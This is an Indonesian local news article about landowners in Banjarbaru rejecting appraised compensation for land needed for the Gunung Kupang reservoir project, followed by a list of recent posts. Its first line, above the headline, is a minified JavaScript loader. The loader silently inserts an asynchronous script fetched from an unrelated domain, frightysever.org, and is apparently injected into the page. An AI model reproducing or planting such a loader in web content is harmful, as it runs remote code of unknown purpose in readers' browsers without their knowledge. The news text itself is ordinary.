(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ganti Rugi Lahan Proyek Embung Gunung Kupang Ditolak, Dinas PUPR Banjarbaru Klaim Mengacu Tim Appraisal


KANALKALIMANTAN.COM, BANJARBARU – Rencana proyek embung Gunung Kupang mendapat gugatan pemilik tanah karena dianggap harga ganti rugi untuk pembebasan oleh Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru sangat rendah.

Bentuk penolakan disampaikan Supiansyah Darham, kuasa hukum salah satu pemilik lahan yang menyebut harga ganti rugi lahan milik kliennya terlalu rendah. Bahkan penetapan harga yang disampaikan Dinas PUPR Banjarbaru berdasarkan hasil keputusan tim appraisal itu diklaim sangat tidak masuk akal, jika dibandingkan saat kliennya membeli tanah tersebut lima tahun silam.

Walhasil, Supiansyah Darham mewakili kliennya berencana akan melayangkan gugatan terhadap Dinas PUPR Banjarbaru dan mendaftarkannya di Pengadilan Negeri (PN) Banjarbaru. Terlebih ia juga menyatakan tidak bersedia menunggu waktu selama 14 hari yang ditawarkan Dinas PUPR Banjarbaru untuk kembali mempertimbangkan harga yang ditawarkan.

Kepala Dinas PUPR Banjarbaru Eka Yuliesda melalui Kepala Bidang Sumber Daya Air, Subrianto buka suara menanggapi persoalan itu. Menurut Subrianto, gugatan yang dilayangkan oleh pemilik tanah sangat diperbolehkan dan memang merupakan prosedur yang telah diatur dalam Peraturan Pemerintah (PP) RI Nomor 19 tahun 2021 tentang Penyelenggaraan Pengadaan Tanah Bagi Pembangunan Untuk Kepentingan Umum.

 

Sosialisasi rencana pembangunan embung Gunung Kupang kepada warga dan pemilik lahan. Foto: dpuprbjb

Baca juga : Pemko Banjarbaru Serap Aspirasi Masyarakat Lewat Dialog Akhir Tahun

“Silahkan saja diajukan karena memang seperti itu prosedurnya. Sudah diatur di pasal 75 ayat 1 yang berbunyi, dalam hal tidak terjadi kesepakatan mengenai bentuk besarnya ganti kerugian dapat mengajukan keberatan kepada pengadilan negeri,” ucap Subrianto, Kamis (15/12/2022) siang.

Dijelaskan Subrianto, pihaknya telah melalukan sosialisasi sebelumnya kepada pemilik lahan maupun warga sekitar. Ia menceritakan proyek pembangunan Embung Cempaka dicanangkan sebagai upaya mitigasi dalam menangkal potensi bencana banjir di Kecamatan Cempaka.

Penunjukan lokasi lahan yang akan dibangun embung merupakan rekomendasi konsultan berdasarkan kajian genangan banjir di wilayah Cempaka. Lokasi pembangunan embung yang ideal dipilih dengan luasan lahan mencapai 3,6 hektare.

“Selanjutnya pada 27 Mei 2022, kami bersama Lurah setempat mengadakan sosialisasi rencana pengadaan tanah yang pertama untuk embung dengan pemilik lahan. Disitu kami mengidentifikasi ada 5 pemilik lahan dengan luasan masing-masing bidang tanah mereka,” ceritanya.

Baca juga  : Pos Polisi Simpang 4 Diaktifkan, Antisipasi Ricuh Balap Liar di Bundaran Banjarbaru

Selanjutnya pada 10 Agustus 2022 dilakukan kegiatan sosialisasi rencana pengadaan tanah yang kedua dengan pemilik lahan, serta pada 11 Agustus 2022 melakukan Pertemuan Konsultasi Masyarakat (PKM) kepada warga sekitar rencana pembangunan embung tersebut. Kemudian pada 13 Oktober 2022 lahan tersebut resmi ditetapkan sebagai lokasi pembangunan Embung Gunung Kupang.

Tepatnya pada Selasa (13/12/2022) kemarin, diselenggarakan Musyawarah Penetapan Bentuk Ganti Kerugian, dengan menghadirkan lima orang pemilik lahan. Dalam kegiatan itu, Dinas PUPR Banjarbaru menyampaikan hasil pengukuran lahan dengan totalnya mencapai 2,8 hektare.

Setelah itu Dinas PUPR melanjutkan dengan penyampaian hasil penilaian tim appraisal terkait besaran nilai ganti rugi masing-masing lahan. Sayangnya saat diminta persetujuan para pemilik lahan lewat penandatangan berita acara, hanya satu warga saja yang menyetujui.

“Dari kelima pemilik lahan hanya satu yang menyatakan setuju, tiga lainnya tidak setuju atau masih mempertimbangkan. Sedangkan satunya lagi memilih walk out dari kegiatan musyarawarah kemarin,” terang Subrianto.

Baca juga  : Damkar Tanbu Demo Penanganan Bencana Kebakaran

Dinas PUPR Banjarbaru sendiri siap menyambut gugatan pemilik lahan. Keyakinan bahwa proses pembebasan lahan ini telah dilakukan sesuai prosedur dan nilai ganti rugi yang ditetapkan tim appraisal berdasarkan PP RI Nomor 19 Tahun 2021 pasal 69 ayat 3 berbunyi bahwa besarnya nilai ganti rugi kerugian berdasarkan hasil penilaian penilai (Tim Appraisal) bersifat final dan mengikat.

Diakui Subrianto, dengan adanya rencana gugatan pemilik lahan memang akan berdampak pada tertundanya proyek pembangunan Embung Gunung Kupang. Meskipun pembangunan fisik embung memang sedari awal telah diagendakan pada 2023 mendatang.

“Pada intinya kami siap. Kembali seperti yang kami sampaikan, nilai ganti rugi itu tim appraisal yang menilainya dengan metode penilaian sesuai ilmu mereka. Jika ada yang keberatan, memang diajukan ke pengadilan. Memang seperti ini prosedurnya,” tuntasnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

2 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

5 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

6 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

9 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

10 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

11 jam ago

This website uses cookies.